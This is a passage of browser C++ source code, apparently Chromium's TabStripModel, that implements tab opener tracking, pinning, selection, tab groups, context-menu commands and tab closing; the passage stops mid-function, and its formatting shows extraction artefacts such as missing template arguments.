TabStripModel::GetIndexOfLastWebContentsOpenedBy(const WebContents* opener, int start_index) const { DCHECK(opener); DCHECK(ContainsIndex(start_index)); std::set opener_and_descendants; opener_and_descendants.insert(opener); int last_index = kNoTab; for (int i = start_index + 1; i < count(); ++i) { // Test opened by transitively, i.e. include tabs opened by tabs opened by // opener, etc. Stop when we find the first non-descendant. if (!opener_and_descendants.count(contents_data_[i]->opener())) { // Skip over pinned tabs as new tabs are added after pinned tabs. if (contents_data_[i]->pinned()) continue; break; } opener_and_descendants.insert(contents_data_[i]->web_contents()); last_index = i; } return last_index; } void TabStripModel::TabNavigating(WebContents* contents, ui::PageTransition transition) { if (ShouldForgetOpenersForTransition(transition)) { // Don't forget the openers if this tab is a New Tab page opened at the // end of the TabStrip (e.g. by pressing Ctrl+T). Give the user one // navigation of one of these transition types before resetting the // opener relationships (this allows for the use case of opening a new // tab to do a quick look-up of something while viewing a tab earlier in // the strip). We can make this heuristic more permissive if need be. if (!IsNewTabAtEndOfTabStrip(contents)) { // If the user navigates the current tab to another page in any way // other than by clicking a link, we want to pro-actively forget all // TabStrip opener relationships since we assume they're beginning a // different task by reusing the current tab. ForgetAllOpeners(); } } } void TabStripModel::SetTabBlocked(int index, bool blocked) { DCHECK(ContainsIndex(index)); if (contents_data_[index]->blocked() == blocked) return; contents_data_[index]->set_blocked(blocked); for (auto& observer : observers_) observer.TabBlockedStateChanged(contents_data_[index]->web_contents(), index); } void TabStripModel::SetTabPinned(int index, bool pinned) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); SetTabPinnedImpl(index, pinned); } bool TabStripModel::IsTabPinned(int index) const { DCHECK(ContainsIndex(index)) << index; return contents_data_[index]->pinned(); } bool TabStripModel::IsTabCollapsed(int index) const { absl::optional group = GetTabGroupForTab(index); return group.has_value() && IsGroupCollapsed(group.value()); } bool TabStripModel::IsGroupCollapsed( const tab_groups::TabGroupId& group) const { return group_model()->ContainsTabGroup(group) && group_model()->GetTabGroup(group)->visual_data()->is_collapsed(); } bool TabStripModel::IsTabBlocked(int index) const { return contents_data_[index]->blocked(); } absl::optional TabStripModel::GetTabGroupForTab( int index) const { return ContainsIndex(index) ? contents_data_[index]->group() : absl::nullopt; } absl::optional TabStripModel::GetSurroundingTabGroup( int index) const { if (!ContainsIndex(index - 1) || !ContainsIndex(index)) return absl::nullopt; // If the tab before is not in a group, a tab inserted at |index| // wouldn't be surrounded by one group. absl::optional group = GetTabGroupForTab(index - 1); if (!group) return absl::nullopt; // If the tab after is in a different (or no) group, a new tab at // |index| isn't surrounded. if (group != GetTabGroupForTab(index)) return absl::nullopt; return group; } int TabStripModel::IndexOfFirstNonPinnedTab() const { for (size_t i = 0; i < contents_data_.size(); ++i) { if (!IsTabPinned(static_cast(i))) return static_cast(i); } // No pinned tabs. return count(); } void TabStripModel::ExtendSelectionTo(int index) { DCHECK(ContainsIndex(index)); ui::ListSelectionModel new_model = selection_model_; new_model.SetSelectionFromAnchorTo(index); SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } bool TabStripModel::ToggleSelectionAt(int index) { if (!delegate()->IsTabStripEditable()) return false; DCHECK(ContainsIndex(index)); ui::ListSelectionModel new_model = selection_model(); if (selection_model_.IsSelected(index)) { if (selection_model_.size() == 1) { // One tab must be selected and this tab is currently selected so we can't // unselect it. return false; } new_model.RemoveIndexFromSelection(index); new_model.set_anchor(index); if (new_model.active() == index || new_model.active() == ui::ListSelectionModel::kUnselectedIndex) new_model.set_active(*new_model.selected_indices().begin()); } else { new_model.AddIndexToSelection(index); new_model.set_anchor(index); new_model.set_active(index); } SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); return true; } void TabStripModel::AddSelectionFromAnchorTo(int index) { ui::ListSelectionModel new_model = selection_model_; new_model.AddSelectionFromAnchorTo(index); SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } bool TabStripModel::IsTabSelected(int index) const { DCHECK(ContainsIndex(index)); return selection_model_.IsSelected(index); } void TabStripModel::SetSelectionFromModel(ui::ListSelectionModel source) { DCHECK_NE(ui::ListSelectionModel::kUnselectedIndex, source.active()); SetSelection(std::move(source), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/false); } const ui::ListSelectionModel& TabStripModel::selection_model() const { return selection_model_; } void TabStripModel::AddWebContents( std::unique_ptr contents, int index, ui::PageTransition transition, int add_types, absl::optional group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // If the newly-opened tab is part of the same task as the parent tab, we want // to inherit the parent's opener attribute, so that if this tab is then // closed we'll jump back to the parent tab. bool inherit_opener = (add_types & ADD_INHERIT_OPENER) == ADD_INHERIT_OPENER; if (ui::PageTransitionTypeIncludingQualifiersIs(transition, ui::PAGE_TRANSITION_LINK) && (add_types & ADD_FORCE_INDEX) == 0) { // We assume tabs opened via link clicks are part of the same task as their // parent. Note that when |force_index| is true (e.g. when the user // drag-and-drops a link to the tab strip), callers aren't really handling // link clicks, they just want to score the navigation like a link click in // the history backend, so we don't inherit the opener in this case. index = order_controller_->DetermineInsertionIndex(transition, add_types & ADD_ACTIVE); inherit_opener = true; // The current active index is our opener. If the tab we are adding is not // in a group, set the group of the tab to that of its opener. if (!group.has_value()) group = GetTabGroupForTab(active_index()); } else { // For all other types, respect what was passed to us, normalizing -1s and // values that are too large. if (index < 0 || index > count()) index = count(); } // Prevent the tab from being inserted at an index that would make the group // non-contiguous. Most commonly, the new-tab button always attempts to insert // at the end of the tab strip. Extensions can insert at an arbitrary index, // so we have to handle the general case. if (group.has_value()) { gfx::Range grouped_tabs = group_model_->GetTabGroup(group.value())->ListTabs(); if (grouped_tabs.length() > 0) { index = base::ClampToRange(index, static_cast(grouped_tabs.start()), static_cast(grouped_tabs.end())); } } else if (GetTabGroupForTab(index - 1) == GetTabGroupForTab(index)) { group = GetTabGroupForTab(index); } if (ui::PageTransitionTypeIncludingQualifiersIs(transition, ui::PAGE_TRANSITION_TYPED) && index == count()) { // Also, any tab opened at the end of the TabStrip with a "TYPED" // transition inherit opener as well. This covers the cases where the user // creates a New Tab (e.g. Ctrl+T, or clicks the New Tab button), or types // in the address bar and presses Alt+Enter. This allows for opening a new // Tab to quickly look up something. When this Tab is closed, the old one // is re-activated, not the next-adjacent. inherit_opener = true; } WebContents* raw_contents = contents.get(); InsertWebContentsAtImpl(index, std::move(contents), add_types | (inherit_opener ? ADD_INHERIT_OPENER : 0), group); // Reset the index, just in case insert ended up moving it on us. index = GetIndexOfWebContents(raw_contents); // In the "quick look-up" case detailed above, we want to reset the opener // relationship on any active tab change, even to another tab in the same tree // of openers. A jump would be too confusing at that point. if (inherit_opener && ui::PageTransitionTypeIncludingQualifiersIs( transition, ui::PAGE_TRANSITION_TYPED)) contents_data_[index]->set_reset_opener_on_active_tab_change(true); // TODO(sky): figure out why this is here and not in InsertWebContentsAt. When // here we seem to get failures in startup perf tests. // Ensure that the new WebContentsView begins at the same size as the // previous WebContentsView if it existed. Otherwise, the initial WebKit // layout will be performed based on a width of 0 pixels, causing a // very long, narrow, inaccurate layout. Because some scripts on pages (as // well as WebKit's anchor link location calculation) are run on the // initial layout and not recalculated later, we need to ensure the first // layout is performed with sane view dimensions even when we're opening a // new background tab. if (WebContents* old_contents = GetActiveWebContents()) { if ((add_types & ADD_ACTIVE) == 0) { raw_contents->Resize( gfx::Rect(old_contents->GetContainerBounds().size())); } } } void TabStripModel::CloseSelectedTabs() { ReentrancyCheck reentrancy_check(&reentrancy_guard_); const ui::ListSelectionModel::SelectedIndices& sel = selection_model_.selected_indices(); InternalCloseTabs( GetWebContentsesByIndices(std::vector(sel.begin(), sel.end())), CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE); } void TabStripModel::SelectNextTab(UserGestureDetails detail) { SelectRelativeTab(true, detail); } void TabStripModel::SelectPreviousTab(UserGestureDetails detail) { SelectRelativeTab(false, detail); } void TabStripModel::SelectLastTab(UserGestureDetails detail) { ActivateTabAt(count() - 1, detail); } void TabStripModel::MoveTabNext() { MoveTabRelative(true); } void TabStripModel::MoveTabPrevious() { MoveTabRelative(false); } tab_groups::TabGroupId TabStripModel::AddToNewGroup( const std::vector& indices) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // Ensure that the indices are sorted and unique. DCHECK(base::ranges::is_sorted(indices)); DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end()); // The odds of |new_group| colliding with an existing group are astronomically // low. If there is a collision, a DCHECK will fail in |AddToNewGroupImpl()|, // in which case there is probably something wrong with // |tab_groups::TabGroupId::GenerateNew()|. const tab_groups::TabGroupId new_group = tab_groups::TabGroupId::GenerateNew(); AddToNewGroupImpl(indices, new_group); return new_group; } void TabStripModel::AddToExistingGroup(const std::vector& indices, const tab_groups::TabGroupId& group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); // Ensure that the indices are sorted and unique. DCHECK(base::ranges::is_sorted(indices)); DCHECK(std::adjacent_find(indices.begin(), indices.end()) == indices.end()); DCHECK(ContainsIndex(*(indices.begin()))); DCHECK(ContainsIndex(*(indices.rbegin()))); AddToExistingGroupImpl(indices, group); } void TabStripModel::MoveTabsAndSetGroup( const std::vector& indices, int destination_index, absl::optional group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); MoveTabsAndSetGroupImpl(indices, destination_index, group); } void TabStripModel::AddToGroupForRestore(const std::vector& indices, const tab_groups::TabGroupId& group) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); const bool group_exists = group_model_->ContainsTabGroup(group); if (group_exists) AddToExistingGroupImpl(indices, group); else AddToNewGroupImpl(indices, group); } void TabStripModel::UpdateGroupForDragRevert( int index, absl::optional group_id, absl::optional group_data) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); if (group_id.has_value()) { const bool group_exists = group_model_->ContainsTabGroup(group_id.value()); if (!group_exists) group_model_->AddTabGroup(group_id.value(), group_data); GroupTab(index, group_id.value()); } else { UngroupTab(index); } } void TabStripModel::RemoveFromGroup(const std::vector& indices) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); std::map> indices_per_tab_group; for (int index : indices) { absl::optional old_group = GetTabGroupForTab(index); if (old_group.has_value()) indices_per_tab_group[old_group.value()].push_back(index); } for (const auto& kv : indices_per_tab_group) { const TabGroup* group = group_model_->GetTabGroup(kv.first); const int first_tab_in_group = group->GetFirstTab().value(); const int last_tab_in_group = group->GetLastTab().value(); // This is an estimate. If the group is non-contiguous it will be // larger than the true size. This can happen while dragging tabs in // or out of a group. const int num_tabs_in_group = last_tab_in_group - first_tab_in_group + 1; const int group_midpoint = first_tab_in_group + num_tabs_in_group / 2; // Split group into |left_of_group| and |right_of_group| depending on // whether the index is closest to the left or right edge. std::vector left_of_group; std::vector right_of_group; for (int index : kv.second) { if (index < group_midpoint) { left_of_group.push_back(index); } else { right_of_group.push_back(index); } } MoveTabsAndSetGroupImpl(left_of_group, first_tab_in_group, absl::nullopt); MoveTabsAndSetGroupImpl(right_of_group, last_tab_in_group + 1, absl::nullopt); } } bool TabStripModel::IsReadLaterSupportedForAny(const std::vector indices) { ReadingListModel* model = ReadingListModelFactory::GetForBrowserContext(profile_); if (!model || !model->loaded()) return false; for (int index : indices) { if (model->IsUrlSupported( chrome::GetURLToBookmark(GetWebContentsAt(index)))) return true; } return false; } void TabStripModel::AddToReadLater(const std::vector& indices) { ReentrancyCheck reentrancy_check(&reentrancy_guard_); AddToReadLaterImpl(indices); } void TabStripModel::CreateTabGroup(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kCreated); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::OpenTabGroupEditor(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kEditorOpened); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::ChangeTabGroupContents( const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kContentsChanged); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::ChangeTabGroupVisuals( const tab_groups::TabGroupId& group, const TabGroupChange::VisualsChange& visuals) { TabGroupChange change(group, visuals); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::MoveTabGroup(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kMoved); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } void TabStripModel::CloseTabGroup(const tab_groups::TabGroupId& group) { TabGroupChange change(group, TabGroupChange::kClosed); for (auto& observer : observers_) observer.OnTabGroupChanged(change); } int TabStripModel::GetTabCount() const { return static_cast(contents_data_.size()); } // Context menu functions. bool TabStripModel::IsContextMenuCommandEnabled( int context_index, ContextMenuCommand command_id) const { DCHECK(command_id > CommandFirst && command_id < CommandLast); switch (command_id) { case CommandNewTabToRight: case CommandCloseTab: return true; case CommandReload: { std::vector indices = GetIndicesForCommand(context_index); for (size_t i = 0; i < indices.size(); ++i) { WebContents* tab = GetWebContentsAt(indices[i]); if (tab) { Browser* browser = chrome::FindBrowserWithWebContents(tab); if (!browser || browser->CanReloadContents(tab)) return true; } } return false; } case CommandCloseOtherTabs: case CommandCloseTabsToRight: return !GetIndicesClosedByCommand(context_index, command_id).empty(); case CommandDuplicate: { std::vector indices = GetIndicesForCommand(context_index); for (size_t i = 0; i < indices.size(); ++i) { if (delegate()->CanDuplicateContentsAt(indices[i])) return true; } return false; } case CommandToggleSiteMuted: return true; case CommandTogglePinned: return true; case CommandToggleGrouped: return true; case CommandFocusMode: return GetIndicesForCommand(context_index).size() == 1; case CommandSendTabToSelf: return true; case CommandSendTabToSelfSingleTarget: return true; case CommandAddToReadLater: return true; case CommandAddToNewGroup: return true; case CommandAddToExistingGroup: return true; case CommandRemoveFromGroup: return true; case CommandMoveToExistingWindow: return true; case CommandMoveTabsToNewWindow: { std::vector indices = GetIndicesForCommand(context_index); const bool would_leave_strip_empty = static_cast(indices.size()) == count(); return !would_leave_strip_empty && delegate()->CanMoveTabsToWindow(indices); } default: NOTREACHED(); } return false; } void TabStripModel::ExecuteContextMenuCommand(int context_index, ContextMenuCommand command_id) { DCHECK(command_id > CommandFirst && command_id < CommandLast); // The tab strip may have been modified while the context menu was open, // including closing the tab originally at |context_index|. if (!ContainsIndex(context_index)) return; switch (command_id) { case CommandNewTabToRight: { base::RecordAction(UserMetricsAction("TabContextMenu_NewTab")); UMA_HISTOGRAM_ENUMERATION("Tab.NewTab", TabStripModel::NEW_TAB_CONTEXT_MENU, TabStripModel::NEW_TAB_ENUM_COUNT); delegate()->AddTabAt(GURL(), context_index + 1, true, GetTabGroupForTab(context_index)); break; } case CommandReload: { base::RecordAction(UserMetricsAction("TabContextMenu_Reload")); std::vector indices = GetIndicesForCommand(context_index); for (size_t i = 0; i < indices.size(); ++i) { WebContents* tab = GetWebContentsAt(indices[i]); if (tab) { Browser* browser = chrome::FindBrowserWithWebContents(tab); if (!browser || browser->CanReloadContents(tab)) tab->GetController().Reload(content::ReloadType::NORMAL, true); } } break; } case CommandDuplicate: { base::RecordAction(UserMetricsAction("TabContextMenu_Duplicate")); std::vector indices = GetIndicesForCommand(context_index); // Copy the WebContents off as the indices will change as tabs are // duplicated. std::vector tabs; for (size_t i = 0; i < indices.size(); ++i) tabs.push_back(GetWebContentsAt(indices[i])); for (size_t i = 0; i < tabs.size(); ++i) { int index = GetIndexOfWebContents(tabs[i]); if (index != -1 && delegate()->CanDuplicateContentsAt(index)) delegate()->DuplicateContentsAt(index); } break; } case CommandCloseTab: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_CloseTab")); InternalCloseTabs( GetWebContentsesByIndices(GetIndicesForCommand(context_index)), CLOSE_CREATE_HISTORICAL_TAB | CLOSE_USER_GESTURE); break; } case CommandCloseOtherTabs: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_CloseOtherTabs")); InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand( context_index, command_id)), CLOSE_CREATE_HISTORICAL_TAB); break; } case CommandCloseTabsToRight: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_CloseTabsToRight")); InternalCloseTabs(GetWebContentsesByIndices(GetIndicesClosedByCommand( context_index, command_id)), CLOSE_CREATE_HISTORICAL_TAB); break; } case CommandSendTabToSelfSingleTarget: { send_tab_to_self::ShareToSingleTarget(GetWebContentsAt(context_index)); send_tab_to_self::RecordDeviceClicked( send_tab_to_self::ShareEntryPoint::kTabMenu); break; } case CommandTogglePinned: { ReentrancyCheck reentrancy_check(&reentrancy_guard_); base::RecordAction(UserMetricsAction("TabContextMenu_TogglePinned")); std::vector indices = GetIndicesForCommand(context_index); bool pin = WillContextMenuPin(context_index); if (pin) { for (size_t i = 0; i < indices.size(); ++i) SetTabPinnedImpl(indices[i], true); } else { // Unpin from the back so that the order is maintained (unpinning can // trigger moving a tab). for (size_t i = indices.size(); i > 0; --i) SetTabPinnedImpl(indices[i - 1], false); } break; } case CommandToggleGrouped: { std::vector indices = GetIndicesForCommand(context_index); bool group = WillContextMenuGroup(context_index); if (group) { tab_groups::TabGroupId new_group = AddToNewGroup(indices); OpenTabGroupEditor(new_group); } else { RemoveFromGroup(indices); } break; } case CommandFocusMode: { base::RecordAction(UserMetricsAction("TabContextMenu_FocusMode")); std::vector indices = GetIndicesForCommand(context_index); WebContents* contents = GetWebContentsAt(indices[0]); web_app::ReparentWebContentsForFocusMode(contents); break; } case CommandToggleSiteMuted: { const bool mute = WillContextMenuMuteSites(context_index); if (mute) { base::RecordAction( UserMetricsAction("SoundContentSetting.MuteBy.TabStrip")); } else { base::RecordAction( UserMetricsAction("SoundContentSetting.UnmuteBy.TabStrip")); } SetSitesMuted(GetIndicesForCommand(context_index), mute); break; } case CommandAddToReadLater: { base::RecordAction( UserMetricsAction("DesktopReadingList.AddItem.FromTabContextMenu")); AddToReadLater(GetIndicesForCommand(context_index)); break; } case CommandAddToNewGroup: { base::RecordAction(UserMetricsAction("TabContextMenu_AddToNewGroup")); tab_groups::TabGroupId new_group = AddToNewGroup(GetIndicesForCommand(context_index)); OpenTabGroupEditor(new_group); break; } case CommandAddToExistingGroup: { // Do nothing. The submenu's delegate will invoke // ExecuteAddToExistingGroupCommand with the correct group later. break; } case CommandRemoveFromGroup: { base::RecordAction(UserMetricsAction("TabContextMenu_RemoveFromGroup")); RemoveFromGroup(GetIndicesForCommand(context_index)); break; } case CommandMoveToExistingWindow: { // Do nothing. The submenu's delegate will invoke // ExecuteAddToExistingWindowCommand with the correct window later. break; } case CommandMoveTabsToNewWindow: { base::RecordAction( UserMetricsAction("TabContextMenu_MoveTabToNewWindow")); delegate()->MoveTabsToNewWindow(GetIndicesForCommand(context_index)); break; } default: NOTREACHED(); } } void TabStripModel::ExecuteAddToExistingGroupCommand( int context_index, const tab_groups::TabGroupId& group) { base::RecordAction(UserMetricsAction("TabContextMenu_AddToExistingGroup")); if (!ContainsIndex(context_index)) return; AddToExistingGroup(GetIndicesForCommand(context_index), group); } void TabStripModel::ExecuteAddToExistingWindowCommand(int context_index, int browser_index) { base::RecordAction(UserMetricsAction("TabContextMenu_AddToExistingWindow")); if (!ContainsIndex(context_index)) return; delegate()->MoveToExistingWindow(GetIndicesForCommand(context_index), browser_index); } std::vector TabStripModel::GetExistingWindowsForMoveMenu() { return delegate()->GetExistingWindowsForMoveMenu(); } bool TabStripModel::WillContextMenuMuteSites(int index) { return !chrome::AreAllSitesMuted(*this, GetIndicesForCommand(index)); } bool TabStripModel::WillContextMenuPin(int index) { std::vector indices = GetIndicesForCommand(index); // If all tabs are pinned, then we unpin, otherwise we pin. bool all_pinned = true; for (size_t i = 0; i < indices.size() && all_pinned; ++i) all_pinned = IsTabPinned(indices[i]); return !all_pinned; } bool TabStripModel::WillContextMenuGroup(int index) { std::vector indices = GetIndicesForCommand(index); DCHECK(!indices.empty()); // If all tabs are in the same group, then we ungroup, otherwise we group. absl::optional group = GetTabGroupForTab(indices[0]); if (!group.has_value()) return true; for (size_t i = 1; i < indices.size(); ++i) { if (GetTabGroupForTab(indices[i]) != group) return true; } return false; } // static bool TabStripModel::ContextMenuCommandToBrowserCommand(int cmd_id, int* browser_cmd) { switch (cmd_id) { case CommandReload: *browser_cmd = IDC_RELOAD; break; case CommandDuplicate: *browser_cmd = IDC_DUPLICATE_TAB; break; case CommandSendTabToSelf: *browser_cmd = IDC_SEND_TAB_TO_SELF; break; case CommandSendTabToSelfSingleTarget: *browser_cmd = IDC_SEND_TAB_TO_SELF_SINGLE_TARGET; break; case CommandCloseTab: *browser_cmd = IDC_CLOSE_TAB; break; case CommandFocusMode: *browser_cmd = IDC_FOCUS_THIS_TAB; break; default: *browser_cmd = 0; return false; } return true; } int TabStripModel::GetIndexOfNextWebContentsOpenedBy(const WebContents* opener, int start_index) const { DCHECK(opener); DCHECK(ContainsIndex(start_index)); // Check tabs after start_index first. for (int i = start_index + 1; i < count(); ++i) { if (contents_data_[i]->opener() == opener) return i; } // Then check tabs before start_index, iterating backwards. for (int i = start_index - 1; i >= 0; --i) { if (contents_data_[i]->opener() == opener) return i; } return kNoTab; } absl::optional TabStripModel::GetNextExpandedActiveTab( int start_index, absl::optional collapsing_group) const { // Check tabs from the start_index first. for (int i = start_index + 1; i < count(); ++i) { absl::optional current_group = GetTabGroupForTab(i); if (!current_group.has_value() || (!IsGroupCollapsed(current_group.value()) && current_group != collapsing_group)) { return i; } } // Then check tabs before start_index, iterating backwards. for (int i = start_index - 1; i >= 0; --i) { absl::optional current_group = GetTabGroupForTab(i); if (!current_group.has_value() || (!IsGroupCollapsed(current_group.value()) && current_group != collapsing_group)) { return i; } } return absl::nullopt; } void TabStripModel::ForgetAllOpeners() { for (const auto& data : contents_data_) data->set_opener(nullptr); } void TabStripModel::ForgetOpener(WebContents* contents) { const int index = GetIndexOfWebContents(contents); DCHECK(ContainsIndex(index)); contents_data_[index]->set_opener(nullptr); } bool TabStripModel::ShouldResetOpenerOnActiveTabChange( WebContents* contents) const { const int index = GetIndexOfWebContents(contents); DCHECK(ContainsIndex(index)); return contents_data_[index]->reset_opener_on_active_tab_change(); } void TabStripModel::WriteIntoTrace(perfetto::TracedValue context) const { auto dict = std::move(context).WriteDictionary(); dict.Add("active_index", active_index()); dict.Add("tabs", contents_data_); } /////////////////////////////////////////////////////////////////////////////// // TabStripModel, private: bool TabStripModel::RunUnloadListenerBeforeClosing( content::WebContents* contents) { return delegate_->RunUnloadListenerBeforeClosing(contents); } bool TabStripModel::ShouldRunUnloadListenerBeforeClosing( content::WebContents* contents) { return contents->NeedToFireBeforeUnloadOrUnloadEvents() || delegate_->ShouldRunUnloadListenerBeforeClosing(contents); } int TabStripModel::ConstrainInsertionIndex(int index, bool pinned_tab) const { return pinned_tab ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab()) : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), count()); } int TabStripModel::ConstrainMoveIndex(int index, bool pinned_tab) const { return pinned_tab ? base::ClampToRange(index, 0, IndexOfFirstNonPinnedTab() - 1) : base::ClampToRange(index, IndexOfFirstNonPinnedTab(), count() - 1); } std::vector TabStripModel::GetIndicesForCommand(int index) const { if (!IsTabSelected(index)) return {index}; const ui::ListSelectionModel::SelectedIndices& sel = selection_model_.selected_indices(); return std::vector(sel.begin(), sel.end()); } std::vector TabStripModel::GetIndicesClosedByCommand( int index, ContextMenuCommand id) const { DCHECK(ContainsIndex(index)); DCHECK(id == CommandCloseTabsToRight || id == CommandCloseOtherTabs); bool is_selected = IsTabSelected(index); int last_unclosed_tab = -1; if (id == CommandCloseTabsToRight) { last_unclosed_tab = is_selected ? *selection_model_.selected_indices().rbegin() : index; } // NOTE: callers expect the vector to be sorted in descending order. std::vector indices; for (int i = count() - 1; i > last_unclosed_tab; --i) { if (i != index && !IsTabPinned(i) && (!is_selected || !IsTabSelected(i))) indices.push_back(i); } return indices; } bool TabStripModel::IsNewTabAtEndOfTabStrip(WebContents* contents) const { const GURL& url = contents->GetLastCommittedURL(); return url.SchemeIs(content::kChromeUIScheme) && url.host_piece() == chrome::kChromeUINewTabHost && contents == GetWebContentsAtImpl(count() - 1) && contents->GetController().GetEntryCount() == 1; } std::vector TabStripModel::GetWebContentsesByIndices( const std::vector& indices) { std::vector items; items.reserve(indices.size()); for (int index : indices) items.push_back(GetWebContentsAtImpl(index)); return items; } int TabStripModel::InsertWebContentsAtImpl( int index, std::unique_ptr contents, int add_types, absl::optional group) { delegate()->WillAddWebContents(contents.get()); bool active = (add_types & ADD_ACTIVE) != 0; bool pin = (add_types & ADD_PINNED) != 0; index = ConstrainInsertionIndex(index, pin); // Have to get the active contents before we monkey with the contents // otherwise we run into problems when we try to change the active contents // since the old contents and the new contents will be the same... WebContents* active_contents = GetActiveWebContents(); WebContents* raw_contents = contents.get(); std::unique_ptr data = std::make_unique(std::move(contents)); data->set_pinned(pin); if ((add_types & ADD_INHERIT_OPENER) && active_contents) { if (active) { // Forget any existing relationships, we don't want to make things too // confusing by having multiple openers active at the same time. ForgetAllOpeners(); } data->set_opener(active_contents); } // TODO(gbillock): Ask the modal dialog manager whether the WebContents should // be blocked, or just let the modal dialog manager make the blocking call // directly and not use this at all. const web_modal::WebContentsModalDialogManager* manager = web_modal::WebContentsModalDialogManager::FromWebContents(raw_contents); if (manager) data->set_blocked(manager->IsDialogActive()); TabStripSelectionChange selection(GetActiveWebContents(), selection_model_); contents_data_.insert(contents_data_.begin() + index, std::move(data)); selection_model_.IncrementFrom(index); if (active) { ui::ListSelectionModel new_model = selection_model_; new_model.SetSelectedIndex(index); selection = SetSelection(std::move(new_model), TabStripModelObserver::CHANGE_REASON_NONE, /*triggered_by_other_operation=*/true); } TabStripModelChange::Insert insert; insert.contents.push_back({raw_contents, index}); TabStripModelChange change(std::move(insert)); for (auto& observer : observers_) observer.OnTabStripModelChanged(this, change, selection); if (group.has_value()) GroupTab(index, group.value()); return index; } bool TabStripModel::InternalCloseTabs( base::span items, uint32_t close_types) { if (items.empty()) return true; const bool closing_all = static_cast(items.size()) == count(); base::WeakPtr ref = weak_factory_.GetWeakPtr(); if (closing_all) { for (auto& observer : observers_) observer.WillCloseAllTabs(this); } DetachNotifications notifications(GetWebContentsAtImpl(active_index()), selection_model_); const bool closed_all = CloseWebContentses(items, close_types, ¬ifications); // When unload handler is triggered for all items, we should wait for the // result. if (!notifications.detached_web_contents.empty()) SendDetachWebContentsNotifications(¬ifications); if (!ref) return closed_all; if (closing_all) { // CloseAllTabsStopped is sent with reason kCloseAllCompleted if // closed_all; otherwise kCloseAllCanceled is sent. for (auto& observer : observers_) observer.CloseAllTabsStopped( this, closed_all ? TabStripModelObserver::kCloseAllCompleted : TabStripModelObserver::kCloseAllCanceled); } return closed_all; } bool TabStripModel::CloseWebContentses( base::span items, uint32_t close_types, DetachNotifications* notifications) { if (items.empty()) return true; // We only try the fast shutdown path if the whole browser process is *not* // shutting down. Fast shutdown during browser termination is handled in // browser_shutdown::OnShutdownStarting. if (!browser_shutdown::HasShutdownStarted()) { // Construct a map of processes to the number of associated tabs that are // closing. base::flat_map processes; for (content::WebContents* contents : items) { if (ShouldRunUnloadListenerBeforeClosing(contents)) continue; content::RenderProcessHost* process = contents->GetMainFrame()->GetProcess(); ++processes[process]; } // Try to fast shutdown the tabs that can close. for (const auto& pair : processes) pair.first->FastShutdownIfPossible(pair.second, false); } // We now return to our regularly scheduled shutdown procedure. bool closed_all = true; // The indices of WebContents prior to any modification of the internal state. std::vector original_indices; original_indices.resize(items.size()); for (size_t i = 0; i < items.size(); ++i) original_indices[i] = GetIndexOfWebContents(items[i]); for (size_t i = 0; i < items.size(); ++i) { WebContents* closing_contents = items[i]; // The index into contents_data_. int current_index = GetIndexOfWebContents(closing_contents); DCHECK_NE(current_index, kNoTab); // Update the explicitly closed state. If the unload handlers cancel the // close the state is reset in Browser. We don't update the explicitly // closed state if already marked as explicitly closed as unload handlers // call back to this if the close is allowed. if (!closing_contents->GetClosedByUserGesture()) { closing_contents->SetClosedByUserGesture( close_types & TabStripModel::CLOSE_USER_GESTURE); } if (RunUnloadListenerBeforeClosing(closing_contents)) { closed_all = false; continue; } std::unique_ptr dwc = std::make_unique( original_indices[i], current_index, DetachWebContentsImpl(current_index, close_types & CLOSE_CREATE_HISTORICAL_TAB), /*will_delete=*/true); notifications->detached_web_contents.push_back(std::move(dwc)); } return closed_all; } WebContents* TabStripModel::GetWebContentsAtImpl(int index) const { CHECK(ContainsIndex(index)) << "Failed to find: " << index << " in: " << count() << " entries."; return contents_data_[index]->web_contents(); } TabStripSelectionChange TabStripModel::SetSelection( ui::ListSelectionModel new_model, TabStripModelObserver::ChangeReason reason, bool triggered_by_other_operation) { TabStripSelectionChange selection; selection.old_model = selection_model_; selection.old_contents = GetActiveWebContents(); selection.new_model = new_model; selection.reason = reason; #if DCHECK_IS_ON() // Validate that |new_model| only selects tabs that actually exist. DCHECK(ContainsIndex(new_model.active())); for (int selected_index : new_model.selected_indices()) { DCHECK(ContainsIndex(selected_index)); } #endif // This is done after notifying TabDeactivated() because caller can assume // that TabStripModel::active_index() would return the index for // |selection.old_contents|. selection_model_ = new_model; selection.new_contents = GetActiveWebContents(); if (!triggered_by_other_operation && (selection.active_tab_changed() || selection.selection_changed())) { if (selection.active_tab_changed()) { auto now = base::TimeTicks::Now(); if (selection.new_contents && selection.new_contents->GetRenderWidgetHostView()) { auto input_event_timestamp = tab_switch_event_latency_recorder_.input_event_timestamp(); // input_event_timestamp 